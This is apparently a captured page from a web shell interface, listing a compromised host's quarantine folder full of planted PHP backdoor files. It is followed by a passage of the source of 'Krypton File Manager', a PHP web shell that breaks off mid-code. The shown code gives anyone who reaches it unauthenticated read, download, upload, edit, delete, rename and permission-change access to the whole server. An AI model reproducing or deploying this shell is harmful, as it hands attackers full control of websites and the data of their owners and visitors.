golden hour
/home2/nemzcoma/.quarantine
⬆️ Go Up
Upload
File/Folder
Size
Actions
.htaccess_1ed26g38
265 B
Del
OK
.htaccess_80253gf3
265 B
Del
OK
.htaccess_8a15d87c
265 B
Del
OK
.htaccess_c1fdg68a
265 B
Del
OK
.htaccess_fae21031
265 B
Del
OK
.tmp_stealth17750518124789051_354b4268
14.19 KB
Del
OK
.tmp_stealth17750518349255163_64hgd1hh
14.19 KB
Del
OK
12daygood.php_4f7e1chf
76.62 KB
Del
OK
133.php_1062b5e2
26.64 KB
Del
OK
155.php.tar_14bdg1g1
33 KB
Del
OK
155.php.tar_b7877a2f
33 KB
Del
OK
155.php_1gd1h1g5
152.82 KB
Del
OK
155.php_ec4a1082
152.82 KB
Del
OK
177.php_6c27a867
152.68 KB
Del
OK
199.php_5777ae85
121.51 KB
Del
OK
222.php_3had5gg2
15.76 KB
Del
OK
222.php_44g878fc
15.76 KB
Del
OK
222.php_53cb7a15
15.76 KB
Del
OK
222.php_74f83fgb
15.76 KB
Del
OK
222.php_8b51a77c
15.76 KB
Del
OK
222.php_bca37c5c
15.78 KB
Del
OK
222.php_da3f1584
15.76 KB
Del
OK
222.php_e742h807
15.76 KB
Del
OK
2index.php_601b856c
10.7 KB
Del
OK
404.php_58a52e4c
46.96 KB
Del
OK
56839_588c0c24
420 B
Del
OK
67473_57cf3fe5
419 B
Del
OK
6ap7e.php_24a81g31
77.47 KB
Del
OK
Al7.php_e4g5f25g
565 B
Del
OK
Cap.php_fecea33b
77.26 KB
Del
OK
Do Not Delete.zip_7f454ba2
933 B
Del
OK
Pan7her-plugin.php_c07d03gd
2.35 KB
Del
OK
Wp-covid-mb.php.tar_1e133hd1
78 KB
Del
OK
about.php_48d54ed3
1.4 KB
Del
OK
about.php_a7hf5f44
3.69 KB
Del
OK
about.php_d61fad01
1.4 KB
Del
OK
about.php_ea11g1h5
17.29 KB
Del
OK
acp.php_2a373b03
178.11 KB
Del
OK
admin.php_103f6d63
1.05 MB
Del
OK
admin.php_1b77g7eb
1.05 MB
Del
OK
admin.php_40gc567b
41.11 KB
Del
OK
admin.php_46121fb8
1.05 MB
Del
OK
admin.php_4a28dhe8
125.25 KB
Del
OK
admin.php_4cd0dhh1
5.24 KB
Del
OK
admin.php_5hfb714a
87.67 KB
Del
OK
admin.php_71h1847c
5.24 KB
Del
OK
admin.php_8d3486ed
77.43 KB
Del
OK
admin.php_a2e45ad0
32.18 KB
Del
OK
admin.php_aa78ce5d
19.13 KB
Del
OK
admin.php_b51e7052
5.24 KB
Del
OK
admin.php_ccb3ceec
32.18 KB
Del
OK
admin.php_e17cfb8f
32.18 KB
Del
OK
admin.php_g4eh10ff
19.11 KB
Del
OK
adminfuns.php_ba41f4a5
173.77 KB
Del
OK
adminfuns.php_bh6fcgch
173.77 KB
Del
OK
agulnson.php_3e27bd5f
166.51 KB
Del
OK
ammika.php_6bd8a5c5
19.14 KB
Del
OK
aqffbglk.php_844ce0gd
168.58 KB
Del
OK
archive.php_7e65hgb2
14.76 KB
Del
OK
archive.php_b2f42138
14.76 KB
Del
OK
as.php_13f1e48g
33.19 KB
Del
OK
atpmoagh.php_e14e0371
168.59 KB
Del
OK
blackPrivet.php_a0bc0f7h
7.17 KB
Del
OK
buy.php_678850h2
1.46 KB
Del
OK
buy.php_6b024e06
1.48 KB
Del
OK
buy.php_f7e16d0g
1.48 KB
Del
OK
cap.php_db4fd1b4
8.47 KB
Del
OK
cap.php_h472e4f8
8.47 KB
Del
OK
carev.php_237d07e4
78.16 KB
Del
OK
caydyamw.php_ce48b784
168.62 KB
Del
OK
cbfaxywfxw.php_7ge7fa03
2.06 KB
Del
OK
cbfaxywfxw.php_dgd114f6
2.06 KB
Del
OK
cjiwridm.php_d47784ga
166.51 KB
Del
OK
coffee.tar_bdh2bddc
178.5 KB
Del
OK
colors.zip_da7h3030
870.61 KB
Del
OK
comment-content.tar_0d3hd63h
117 KB
Del
OK
comment-content.zip_ea3c6876
111.91 KB
Del
OK
content.php_a54a5c12
17.36 KB
Del
OK
coordjktrb.php_28812ga2
2.06 KB
Del
OK
cvmdhnlg.php_77g8c3b1
168.58 KB
Del
OK
cyjgosfm.php_faga5b3b
14.76 KB
Del
OK
czhdwhna.php_6g4edb8a
168.59 KB
Del
OK
dccpptbfcj.php_bcaf33f8
2.06 KB
Del
OK
ddllcfjo.php_a6h6ggbg
166.5 KB
Del
OK
default.php_3288ee1d
851 B
Del
OK
default.php_a1edc636
5.13 KB
Del
OK
defaults.php_c85h8aef
1.93 KB
Del
OK
defvpyazgx.php_bhc700fb
2.06 KB
Del
OK
dzhkpqeino.php_0bb2b634
2.06 KB
Del
OK
dzhkpqeino.php_g54447aa
2.06 KB
Del
OK
eaycvhzjhp.php_0d6b5b44
1.5 KB
Del
OK
edit.php_30331bg7
17.28 KB
Del
OK
eek.php_5175e56a
15.66 KB
Del
OK
eigvcvxi.php_1c2bb685
14.76 KB
Del
OK
eikuafrp.php_a83d701c
166.51 KB
Del
OK
epnajzqj.php_5ebca1e5
166.5 KB
Del
OK
eqgueytq.php_b03g35ad
168.59 KB
Del
OK
fctwgoug.php_c8g6ebf1
168.58 KB
Del
OK
fetch.php_h03ge4cd
2.13 KB
Del
OK
filefuns.php_16abceb3
5.52 KB
Del
OK
filefuns.php_1hf2b50f
5.08 KB
Del
OK
filefuns.php_a4h0af70
5.08 KB
Del
OK
fnclunnskq.php_2ach6fbc
2.06 KB
Del
OK
foyqjhha.php_04h482a2
14.76 KB
Del
OK
ftde.php_bcg71fec
21.5 KB
Del
OK
geju.php_5fga4gac
181 B
Del
OK
gfherhfghre.tar_03840c3e
140.5 KB
Del
OK
gfherhfghre.zip_ae44efg0
330.59 KB
Del
OK
giplxdedyh.php_a8b1g5h3
2.06 KB
Del
OK
gmryhckjuu.php_5cege543
2.06 KB
Del
OK
goods.php_1e720d6e
173.77 KB
Del
OK
goods.php_22c2hf7c
173.77 KB
Del
OK
goods.php_27h36gf0
173.77 KB
Del
OK
goods.php_410h45g5
173.77 KB
Del
OK
goods.php_44b215ab
173.77 KB
Del
OK
goods.php_acg3h704
173.77 KB
Del
OK
goods.php_agg47806
173.77 KB
Del
OK
goods.php_h6b84ff8
173.77 KB
Del
OK
gtoffyeu.php_5aged7dg
166.51 KB
Del
OK
gujjrkzs.php_115hd280
168.58 KB
Del
OK
gvxxvfnu.php_1gf338eb
166.51 KB
Del
OK
henglywt.php_58610d37
14.76 KB
Del
OK
hiroshi.php_1gdb6ch5
18.34 KB
Del
OK
hiroshi.php_5b4d04c0
7.31 KB
Del
OK
hiroshi.php_habaggce
6.19 KB
Del
OK
hypdiejx.php_5051b45c
14.76 KB
Del
OK
hypmxgwkee.php_00h0gd15
2.06 KB
Del
OK
index.php_002b4e7g
14.76 KB
Del
OK
index.php_024e51a4
14.76 KB
Del
OK
index.php_02a837de
14.76 KB
Del
OK
index.php_08521e0c
35.02 KB
Del
OK
index.php_08c64fh2
9.64 KB
Del
OK
index.php_0a62571d
6.25 KB
Del
OK
index.php_0h7480dh
38.58 KB
Del
OK
index.php_12adcbh7
155 B
Del
OK
index.php_1304f520
14.76 KB
Del
OK
index.php_135ad71d
14.76 KB
Del
OK
index.php_13c5e8h4
14.76 KB
Del
OK
index.php_168hah4f
14.76 KB
Del
OK
index.php_1a30ee6b
14.76 KB
Del
OK
index.php_1cf1e001
14.76 KB
Del
OK
index.php_2051b8d2
38.58 KB
Del
OK
index.php_27fh3ec4
5.91 KB
Del
OK
index.php_2a8a32c7
14.76 KB
Del
OK
index.php_2c858a57
2.75 KB
Del
OK
index.php_2fa41620
14.76 KB
Del
OK
index.php_2g885402
14.76 KB
Del
OK
index.php_305d3dgf
17.45 KB
Del
OK
index.php_3080fd0d
38.58 KB
Del
OK
index.php_31254acg
14.76 KB
Del
OK
index.php_328701cb
14.76 KB
Del
OK
index.php_348710fd
14.76 KB
Del
OK
index.php_37bhfce6
14.76 KB
Del
OK
index.php_38bf07af
18.11 KB
Del
OK
index.php_3cefc7g3
6.21 KB
Del
OK
index.php_3fdd36d6
38.58 KB
Del
OK
index.php_3gfbdb4e
14.76 KB
Del
OK
index.php_424d8720
14.76 KB
Del
OK
index.php_450fa42g
14.76 KB
Del
OK
index.php_45ce4446
14.76 KB
Del
OK
index.php_45hbd7ed
38.58 KB
Del
OK
index.php_486066fa
320 B
Del
OK
index.php_4a2g1808
38.58 KB
Del
OK
index.php_4bddg858
38.58 KB
Del
OK
index.php_4bfeb621
38.58 KB
Del
OK
index.php_4cfhe022
86.65 KB
Del
OK
index.php_4dg863gb
14.76 KB
Del
OK
index.php_4fhe0g60
38.58 KB
Del
OK
index.php_4h64350b
14.76 KB
Del
OK
index.php_523g02a4
38.58 KB
Del
OK
index.php_52ab7422
1.93 KB
Del
OK
index.php_546a5h85
14.76 KB
Del
OK
index.php_551af748
14.76 KB
Del
OK
index.php_552g7g55
14.76 KB
Del
OK
index.php_55e6ga6g
38.58 KB
Del
OK
index.php_562ae1e1
38.58 KB
Del
OK
index.php_5bfb3385
14.76 KB
Del
OK
index.php_5db06fb3
320 B
Del
OK
index.php_5f0fh76g
14.76 KB
Del
OK
index.php_6241gbbb
14.76 KB
Del
OK
index.php_6860ghec
1.93 KB
Del
OK
index.php_6agfe1eg
14.76 KB
Del
OK
index.php_6fd554h8
14.76 KB
Del
OK
index.php_6ff7fgdb
219 B
Del
OK
index.php_6fh71218
14.76 KB
Del
OK
index.php_6gh0b77d
14.76 KB
Del
OK
index.php_7151h71h
14.76 KB
Del
OK
index.php_723765eh
2 KB
Del
OK
index.php_72a2428f
38.58 KB
Del
OK
index.php_74hf56ba
1.66 KB
Del
OK
index.php_7517cg8c
1.87 KB
Del
OK
index.php_76h73370
6.98 KB
Del
OK
index.php_7757617h
14.76 KB
Del
OK
index.php_7bbd52g1
14.76 KB
Del
OK
index.php_7d3g1c4d
2.75 KB
Del
OK
index.php_7dhhfeg5
14.76 KB
Del
OK
index.php_7e57gb0d
14.76 KB
Del
OK
index.php_7ef7e4db
14.76 KB
Del
OK
index.php_7hc1e6g2
1.17 KB
Del
OK
index.php_80h8c2cb
424 B
Del
OK
index.php_854ebc4c
14.76 KB
Del
OK
index.php_8e8218eg
38.58 KB
Del
OK
index.php_8had6573
6.98 KB
Del
OK
index.php_a0022g32
14.76 KB
Del
OK
index.php_a01efh35
1.29 KB
Del
OK
index.php_a2f3f6gb
419 B
Del
OK
index.php_a5647edd
14.76 KB
Del
OK
index.php_a84c5682
14.76 KB
Del
OK
index.php_a8c54hb4
14.76 KB
Del
OK
index.php_ac65f5he
431 B
Del
OK
index.php_ac8010g3
6.98 KB
Del
OK
index.php_ad2a4d0e
14.76 KB
Del
OK
index.php_afah2182
14.76 KB
Del
OK
index.php_b0d75fg8
14.76 KB
Del
OK
index.php_b553b576
14.76 KB
Del
OK
index.php_b5eg1f8a
14.76 KB
Del
OK
index.php_b6bch211
14.76 KB
Del
OK
index.php_bd10d1b2
431 B
Del
OK
index.php_bgf01736
5.23 KB
Del
OK
index.php_bhdg67h8
38.58 KB
Del
OK
index.php_c07a00da
14.76 KB
Del
OK
index.php_c20617ae
38.58 KB
Del
OK
index.php_c27736e5
14.76 KB
Del
OK
index.php_c3h451e0
14.76 KB
Del
OK
index.php_c6g0d0d6
14.76 KB
Del
OK
index.php_c7f06dbb
1.14 KB
Del
OK
index.php_ce0856ag
35.02 KB
Del
OK
index.php_ch28a4fe
2.03 KB
Del
OK
index.php_d2ec520f
14.76 KB
Del
OK
index.php_d325dc3e
1.72 KB
Del
OK
index.php_d3bf16b6
14.76 KB
Del
OK
index.php_d8786h2f
14.76 KB
Del
OK
index.php_dc81e17d
14.76 KB
Del
OK
index.php_dd20e1he
14.76 KB
Del
OK
index.php_ddf1f8hf
14.76 KB
Del
OK
index.php_dgabc03b
14.76 KB
Del
OK
index.php_e4b56e33
14.76 KB
Del
OK
index.php_e4gfb1bb
14.76 KB
Del
OK
index.php_e6eg1e1a
14.76 KB
Del
OK
index.php_e78d8fhh
14.76 KB
Del
OK
index.php_ec5ae8bg
6.72 KB
Del
OK
index.php_ef04g777
14.76 KB
Del
OK
index.php_f66h7hdg
14.76 KB
Del
OK
index.php_f8fb6fhf
431 B
Del
OK
index.php_fec86gd7
38.58 KB
Del
OK
index.php_ff0fh282
219 B
Del
OK
index.php_fheh3eda
14.76 KB
Del
OK
index.php_g2g66b8e
14.76 KB
Del
OK
index.php_g31aadg5
431 B
Del
OK
index.php_gb38g350
14.76 KB
Del
OK
index.php_h5a3g2ce
14.76 KB
Del
OK
index.php_h7dhbg63
431 B
Del
OK
index.php_h85688ca
431 B
Del
OK
index.php_hebdg1h6
14.76 KB
Del
OK
index.php_hg86827c
14.76 KB
Del
OK
install-heIper.php_0fd4bgcg
574 B
Del
OK
install-heIper.php_532a2fgc
219.63 KB
Del
OK
ipnfmkpg.php_603dc061
168.58 KB
Del
OK
ipzfxehz.php_b2f8e7d8
168.58 KB
Del
OK
item.php_32bd52bg
1.29 KB
Del
OK
item.php_7c081d50
78.32 KB
Del
OK
ivqhfgpxhi.php_4e2d7gf1
1.5 KB
Del
OK
jbjyknffdu.php_538h0f46
2.06 KB
Del
OK
jbjyknffdu.php_f567a463
2.06 KB
Del
OK
jbtkjmyh.php_cg8h4304
166.51 KB
Del
OK
jeqvcuytep.php_4aed4e5c
2.06 KB
Del
OK
jizlzrsp.php_66fdbhbh
14.76 KB
Del
OK
jj.php_3g347a35
14.43 KB
Del
OK
jj.php_7dgce8fg
14.43 KB
Del
OK
jj.php_7f7fb625
14.43 KB
Del
OK
jj.php_80age0ba
14.43 KB
Del
OK
jj.php_a0h55a77
14.43 KB
Del
OK
jtjtlplj.php_3h26673d
166.51 KB
Del
OK
jwbvbljs.php_1da5bgde
168.58 KB
Del
OK
kbenxqtoxi.php_h3a4b8fd
2.06 KB
Del
OK
kgybsldp.php_4a3b28e7
168.58 KB
Del
OK
koghbbjp.php_dhf64ahh
14.76 KB
Del
OK
kvdjmgnh.php_2814751g
14.76 KB
Del
OK
kxahhzadkr.php_7bccfb40
1.5 KB
Del
OK
kxinetrt.php_3cf630b3
168.58 KB
Del
OK
kzpvmkbe.php_4d448708
168.59 KB
Del
OK
lgwprosb.php_16df7g4g
166.51 KB
Del
OK
livhstwc.php_c4e58e85
14.76 KB
Del
OK
lock360.php_b58hfd5g
1.4 KB
Del
OK
lqcnojbo.php_d6d0efhc
166.51 KB
Del
OK
lurtqlar.php_c63had02
168.58 KB
Del
OK
lvxsorgdsx.php_62h855b6
2.06 KB
Del
OK
lwqtcnztbn.php_gdg86eg4
1.5 KB
Del
OK
lxgsjquj.php_g47gf0g7
168.58 KB
Del
OK
lzujubgmgg.php_1fe84baf
2.06 KB
Del
OK
lzujubgmgg.php_7hc35a32
2.06 KB
Del
OK
mah.php_10e82b8e
1.4 KB
Del
OK
mah.php_7ah2c3fc
1.4 KB
Del
OK
mah.php_d6fbhdaa
1.4 KB
Del
OK
maxngmtc.php_ae521b04
166.51 KB
Del
OK
mewhkxdz.php_7e3064f5
168.58 KB
Del
OK
mhprvdlb.php_434a6551
168.58 KB
Del
OK
minik.php_064hc200
12.41 KB
Del
OK
minik.php_ge53a0b6
12.41 KB
Del
OK
mnevqljr.php_h4h7bceg
168.58 KB
Del
OK
mptwzeux.php_1f3800gh
14.76 KB
Del
OK
msegtfftof.php_7aah4hd2
2.06 KB
Del
OK
naathfag.php_32e8fg20
168.58 KB
Del
OK
nefrcqnt.php_673h7be1
168.58 KB
Del
OK
nfbuqnbl.php_4fbbaa2h
14.76 KB
Del
OK
nlftnmqh.php_400fh080
166.51 KB
Del
OK
nonomnag.php_522da5f8
166.51 KB
Del
OK
ntcwvmfkva.php_6e2ba73h
2.06 KB
Del
OK
nwflm.php_44f0f683
2.16 MB
Del
OK
nwflm.php_c6102hb0
2.16 MB
Del
OK
nwsnnfuk.php_d1d5181e
168.58 KB
Del
OK
oaefvwpt.php_54gca118
168.58 KB
Del
OK
oajxsiov.php_6dege02e
168.58 KB
Del
OK
obtwyduy.php_00cb434d
168.58 KB
Del
OK
oiiirceg.php_a3fg1cgh
168.58 KB
Del
OK
olbcljui.php_64d13bdg
168.58 KB
Del
OK
olkpcaihxz.php_01128b7h
1.5 KB
Del
OK
onlqnphypz.php_18h40aaf
2.06 KB
Del
OK
onlqnphypz.php_d5e5575b
2.06 KB
Del
OK
ophpdiyc.php_841b8723
168.58 KB
Del
OK
product.php_c1hebg06
2.03 KB
Del
OK
pyucbkvp.php_gf33157h
14.76 KB
Del
OK
qbjvgalx.php_b8feh7fa
14.76 KB
Del
OK
radio.php_0e6d3b34
17.29 KB
Del
OK
radio.php_85b4h2ge
22.06 KB
Del
OK
rawr2.php_243hf70f
101.3 KB
Del
OK
rcmgkjri.php_2c42cc11
166.51 KB
Del
OK
rdmysiml.php_2b726cf5
168.58 KB
Del
OK
rgjycvvu.php_806a603b
168.58 KB
Del
OK
rjaoekjdqp.php_ebh0d4d3
1.5 KB
Del
OK
rthwmrtk.php_fh52h1b0
14.76 KB
Del
OK
rtsjddkvad.php_4022af04
2.06 KB
Del
OK
s.php_25c08c85
6.76 KB
Del
OK
saiga.php_4152d2b5
8.89 KB
Del
OK
saiga.php_hd020fd7
13.4 KB
Del
OK
sbkxvkjr.php_b338fgb8
168.58 KB
Del
OK
sc.php_2hc03cah
177.99 KB
Del
OK
sciokkqf.php_gh75ba35
168.58 KB
Del
OK
sesnnlcz.php_ca8e14g1
14.76 KB
Del
OK
slider.php_16dc0cc4
46.96 KB
Del
OK
slkzvwlk.php_g0470334
168.58 KB
Del
OK
ss.php_8g353dhc
13.5 KB
Del
OK
style.php_3dcbe1bh
13.37 KB
Del
OK
style.php_c2b8fe4g
13.37 KB
Del
OK
style.php_d734b5fh
13.37 KB
Del
OK
style.php_eh7c550a
13.37 KB
Del
OK
su.php_4661dh04
77.12 KB
Del
OK
su.php_dbec5868
77.12 KB
Del
OK
su.php_eg3dcf52
77.12 KB
Del
OK
supzaayg.php_2846d6hc
168.58 KB
Del
OK
swmqaomt.php_34648h82
168.58 KB
Del
OK
symlnkgd.php_8ggaf63e
14.19 KB
Del
OK
symlnkgd.php_f74hdd38
14.19 KB
Del
OK
syxioxdi.php_f706348f
168.58 KB
Del
OK
tccbrjyo.php_cfgef148
168.58 KB
Del
OK
tdfqpyis.php_ag0814d2
14.76 KB
Del
OK
thifeait.php_25e204ea
14.76 KB
Del
OK
tkvajdnf.php_151526ff
166.51 KB
Del
OK
tqkyqalj.php_a082e1h4
168.59 KB
Del
OK
ubbnjwsxtd.php_16ce5252
2.06 KB
Del
OK
ubsloncl.php_f68g3bc7
168.58 KB
Del
OK
ucpscowj.php_1h5hc1bb
168.58 KB
Del
OK
uftwrtfm.php_3f0517ec
168.58 KB
Del
OK
upwxvzdq.php_ec214b47
14.76 KB
Del
OK
vendoyters.tar_2gg8aahh
101.5 KB
Del
OK
vendoyters.zip_ee807f28
226.3 KB
Del
OK
vfyroihafh.php_acb775ff
2.06 KB
Del
OK
vheogeuhio.php_a332d500
2.06 KB
Del
OK
vhndghqj.php_h5g6c760
168.59 KB
Del
OK
vmmpmnbv.php_c816062a
168.58 KB
Del
OK
vpmgvmvf.php_3d7cg373
168.58 KB
Del
OK
vprbehyz.php_c624ea2e
168.58 KB
Del
OK
vrybkybi.php_d318fh2f
166.52 KB
Del
OK
vsrripyp.php_dg0838ab
166.51 KB
Del
OK
wcmkzqbk.php_f305hbb4
14.76 KB
Del
OK
whluhuej.php_0h06a0ea
168.58 KB
Del
OK
whoytnbj.php_463fag71
14.76 KB
Del
OK
wp-blog.php_076243eb
77.49 KB
Del
OK
wp-conffg.php_e1f00dc3
122.7 KB
Del
OK
wp-conffg.php_h422dch5
122.7 KB
Del
OK
wp-conffq.php_d276cdfd
147.36 KB
Del
OK
wp-links.gz_0fdef566
28.4 KB
Del
OK
wp-links.php_b8c1hhce
44 B
Del
OK
wp-links.php_cbb8fb61
233 B
Del
OK
wp-login.php_fe8g65hh
10.7 KB
Del
OK
wp-sx9.php_01c7f578
74.61 KB
Del
OK
wp-sx9.php_28860a88
74.61 KB
Del
OK
wp-sx9.php_bgfhd32f
74.59 KB
Del
OK
wp_oks.php_8b82h2c8
7.13 KB
Del
OK
wps.php_526f8444
16.57 KB
Del
OK
wukhlaxc.php_e414gf50
14.76 KB
Del
OK
xhrnlyun.php_02c226e4
14.76 KB
Del
OK
xjrjhlix.php_3bebaeca
14.76 KB
Del
OK
xlrcjokz.php_2g431504
166.52 KB
Del
OK
xmanager.php_2d7ag4cf
12.55 KB
Del
OK
xqwlszcimz.php_46703f07
1.5 KB
Del
OK
xsmofymf.php_d1caf65b
168.58 KB
Del
OK
xulctjkr.php_e0cgaf4e
14.76 KB
Del
OK
xwpg.php_2f6068d6
237.88 KB
Del
OK
xwx1.php_2c2g7ga5
8.99 MB
Del
OK
xxx.js_57cf8a3e
6.72 KB
Del
OK
ytmtofrb.php_2b3g3be6
168.58 KB
Del
OK
zeta.php_gc2bh5de
44.85 KB
Del
OK
zijdwkou.php_ac367h1f
168.59 KB
Del
OK
zkkzjzupzf.php_d4gd5373
2.06 KB
Del
OK
zlmveewc.php_a5cda347
166.51 KB
Del
OK
zqwdaldagw.php_6ha3b2gf
2.06 KB
Del
OK
zqwdaldagw.php_8eb0h61h
2.06 KB
Del
OK
zrvkwgcb.php_afce034c
168.59 KB
Del
OK
zwewyhes.php_bg6d64fd
168.58 KB
Del
OK
zwwpvctr.php_55b7d6eg
166.51 KB
Del
OK
Edit: admin.php_40gc567b
<?php /** * Krypton File Manager * A single-file PHP file manager with full server access and enhanced features */ // Start session session_start(); // Configuration define('VERSION', '1.0.0'); define('MAX_UPLOAD_SIZE', 100 * 1024 * 1024); // 100MB max upload size define('ENCRYPTION_KEY', 'RCnFfs06w3ItXaCn7BWvyyFE1Rxdmz'); // Change this to a random string for security define('SESSION_TIMEOUT', 1800); // 30 minutes session timeout // Check if encryption key is default and show warning $encryptionKeyWarning = ''; if (ENCRYPTION_KEY === 'change_this_to_a_random_string') { $encryptionKeyWarning = 'Warning: Default encryption key is being used. Please change it for security.'; } // Session timeout check if (isset($_SESSION['last_activity']) && (time() - $_SESSION['last_activity'] > SESSION_TIMEOUT)) { // Session expired session_unset(); session_destroy(); } $_SESSION['last_activity'] = time(); // Update last activity time // Encryption and decryption functions function encryptPath($path) { $iv = openssl_random_pseudo_bytes(16); $encrypted = openssl_encrypt($path, 'AES-256-CBC', ENCRYPTION_KEY, 0, $iv); return base64_encode($encrypted . '::' . base64_encode($iv)); } function decryptPath($encryptedPath) { try { $decoded = base64_decode($encryptedPath); if ($decoded === false) { return getcwd(); // Default to current directory if decoding fails } if (strpos($decoded, '::') === false) { return getcwd(); // Default to current directory if separator not found } list($encrypted_data, $iv_b64) = explode('::', $decoded, 2); $iv = base64_decode($iv_b64); if ($iv === false || strlen($iv) !== 16) { return getcwd(); // Default to current directory if IV is invalid } $decrypted = openssl_decrypt($encrypted_data, 'AES-256-CBC', ENCRYPTION_KEY, 0, $iv); if ($decrypted === false) { return getcwd(); // Default to current directory if decryption fails } return $decrypted; } catch (Exception $e) { return getcwd(); // Default to current directory on any exception } } // Function to get human-readable file size function formatFileSize($bytes) { if ($bytes >= 1073741824) { return number_format($bytes / 1073741824, 2) . ' GB'; } elseif ($bytes >= 1048576) { return number_format($bytes / 1048576, 2) . ' MB'; } elseif ($bytes >= 1024) { return number_format($bytes / 1024, 2) . ' KB'; } else { return $bytes . ' bytes'; } } // Function to get file permissions in Unix format function getFilePermissions($file) { $perms = fileperms($file); if (($perms & 0xC000) == 0xC000) { // Socket $info = 's'; } elseif (($perms & 0xA000) == 0xA000) { // Symbolic Link $info = 'l'; } elseif (($perms & 0x8000) == 0x8000) { // Regular $info = '-'; } elseif (($perms & 0x6000) == 0x6000) { // Block special $info = 'b'; } elseif (($perms & 0x4000) == 0x4000) { // Directory $info = 'd'; } elseif (($perms & 0x2000) == 0x2000) { // Character special $info = 'c'; } elseif (($perms & 0x1000) == 0x1000) { // FIFO pipe $info = 'p'; } else { // Unknown $info = 'u'; } // Owner $info .= (($perms & 0x0100) ? 'r' : '-'); $info .= (($perms & 0x0080) ? 'w' : '-'); $info .= (($perms & 0x0040) ? (($perms & 0x0800) ? 's' : 'x' ) : (($perms & 0x0800) ? 'S' : '-')); // Group $info .= (($perms & 0x0020) ? 'r' : '-'); $info .= (($perms & 0x0010) ? 'w' : '-'); $info .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x' ) : (($perms & 0x0400) ? 'S' : '-')); // World $info .= (($perms & 0x0004) ? 'r' : '-'); $info .= (($perms & 0x0002) ? 'w' : '-'); $info .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x' ) : (($perms & 0x0200) ? 'T' : '-')); return $info; } // Function to get file extension function getFileExtension($filename) { return strtolower(pathinfo($filename, PATHINFO_EXTENSION)); } // Function to check if a file is editable function isEditableFile($filename) { /* $editableExtensions = ['txt', 'php', 'html', 'htm', 'css', 'js', 'json', 'xml', 'md', 'ini', 'conf', 'log', 'sql', 'htaccess']; $extension = getFileExtension($filename); return in_array($extension, $editableExtensions); */ return true; } // Process actions $error = ''; $success = ''; // Get and decrypt the path parameter $currentPath = getcwd(); // Default path // Check if there's a current path in the session if (isset($_SESSION['current_path']) && file_exists($_SESSION['current_path']) && is_dir($_SESSION['current_path'])) { $currentPath = $_SESSION['current_path']; } // Handle POST request for navigation if ($_SERVER['REQUEST_METHOD'] === 'POST') { // Store current path for form submissions if (isset($_POST['current_path'])) { $decryptedCurrentPath = decryptPath($_POST['current_path']); if (file_exists($decryptedCurrentPath) && is_dir($decryptedCurrentPath)) { $currentPath = $decryptedCurrentPath; $_SESSION['current_path'] = $currentPath; } } if (isset($_POST['action'])) { // Handle file content request for editing if ($_POST['action'] === 'getContent' && isset($_POST['path'])) { $filePath = decryptPath($_POST['path']); if (file_exists($filePath) && !is_dir($filePath) && isEditableFile(basename($filePath))) { echo file_get_contents($filePath); exit; } else { echo "Error: Cannot read file."; exit; } } // Handle navigation if ($_POST['action'] === 'navigate' && isset($_POST['path'])) { $decryptedPath = decryptPath($_POST['path']); if (file_exists($decryptedPath) && is_dir($decryptedPath)) { $currentPath = $decryptedPath; $_SESSION['current_path'] = $currentPath; } } // Handle file download if ($_POST['action'] === 'download' && isset($_POST['path'])) { $downloadPath = decryptPath($_POST['path']); if (file_exists($downloadPath) && !is_dir($downloadPath)) { // Set headers for file download header('Content-Description: File Transfer'); header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="' . basename($downloadPath) . '"'); header('Content-Transfer-Encoding: binary'); header('Expires: 0'); header('Cache-Control: must-revalidate, post-check=0, pre-check=0'); header('Pragma: public'); header('Content-Length: ' . filesize($downloadPath)); ob_clean(); flush(); readfile($downloadPath); exit; } } } // Handle file upload if (isset($_POST['upload'])) { if (isset($_FILES['file']) && $_FILES['file']['error'] === UPLOAD_ERR_OK) { $uploadPath = $currentPath . '/' . basename($_FILES['file']['name']); if (move_uploaded_file($_FILES['file']['tmp_name'], $uploadPath)) { $success = 'File uploaded successfully.'; } else { $error = 'Failed to upload file.'; } } else { $error = 'No file selected or upload error.'; } } // Handle file/directory deletion if (isset($_POST['delete']) && isset($_POST['path'])) { $deletePath = decryptPath($_POST['path']); if (file_exists($deletePath)) { if (is_dir($deletePath)) { // Try to remove directory if (rmdir($deletePath)) { $success = 'Directory deleted successfully.'; } else { $error = 'Failed to delete directory. It may not be empty.'; } } else { // Remove file if (unlink($deletePath)) { $success = 'File deleted successfully.'; } else { $error = 'Failed to delete file.'; } } } else { $error = 'File or directory does not exist.'; } } // Handle file/directory rename if (isset($_POST['rename']) && isset($_POST['oldPath']) && isset($_POST['newName'])) { $oldPath = decryptPath($_POST['oldPath']); $newName = $_POST['newName']; $dirName = dirname($oldPath); $newPath = $dirName . '/' . $newName; if (file_exists($oldPath)) { if (rename($oldPath, $newPath)) { $success = 'Renamed successfully.'; } else { $error = 'Failed to rename.'; } } else { $error = 'File or directory does not exist.'; } } // Handle permission change if (isset($_POST['changePermissions']) && isset($_POST['permPath']) && isset($_POST['permissions'])) { $permPath = decryptPath($_POST['permPath']); $permissions = $_POST['permissions']; // Convert from octal string to integer $mode = octdec($permissions); if (file_exists($permPath)) { if (chmod($permPath, $mode)) { $success = 'Permissions changed successfully.'; } else { $error = 'Failed to change permissions.'; } } else { $error = 'File or directory does not exist.'; } } // Handle file edit if (isset($_POST['saveFile']) && isset($_POST['filePath']) && isset($_POST['fileContent'])) { $filePath = decryptPath($_POST['filePath']); $fileContent = $_POST['fileContent']; if (file_exists($filePath) && !is_dir($filePath)) { if (file_put_contents($filePath, $fileContent) !== false) { $success = 'File saved successfully.'; } else { $error = 'Failed to save file.'; } } else { $error = 'File does not exist.'; } } // Handle create new file if (isset($_POST['createFile']) && isset($_POST['newFileName'])) { $newFileName = $_POST['newFileName']; $newFilePath = $currentPath . '/' . $newFileName; if (!file_exists($newFilePath)) { if (file_put_contents($newFilePath, '') !== false) { $success = 'File created successfully.'; } else { $error = 'Failed to create file.'; } } else { $error = 'File already exists.'; } } // Handle create new folder if (isset($_POST['createFolder']) && isset($_POST['newFolderName'])) { $newFolderName = $_POST['newFolderName']; $newFolderPath = $currentPath . '/' . $newFolderName; if (!file_exists($newFolderPath)) { if (mkdir($newFolderPath, 0755)) { $success = 'Folder created successfully.'; } else { $error = 'Failed to create folder.'; } } else { $error = 'Folder already exists.'; } } } // Save current path to session $_SESSION['current_path'] = $currentPath; // Get directory contents $items = []; if (is_dir($currentPath)) { if ($handle = opendir($currentPath)) { while (false !== ($entry = readdir($handle))) { if 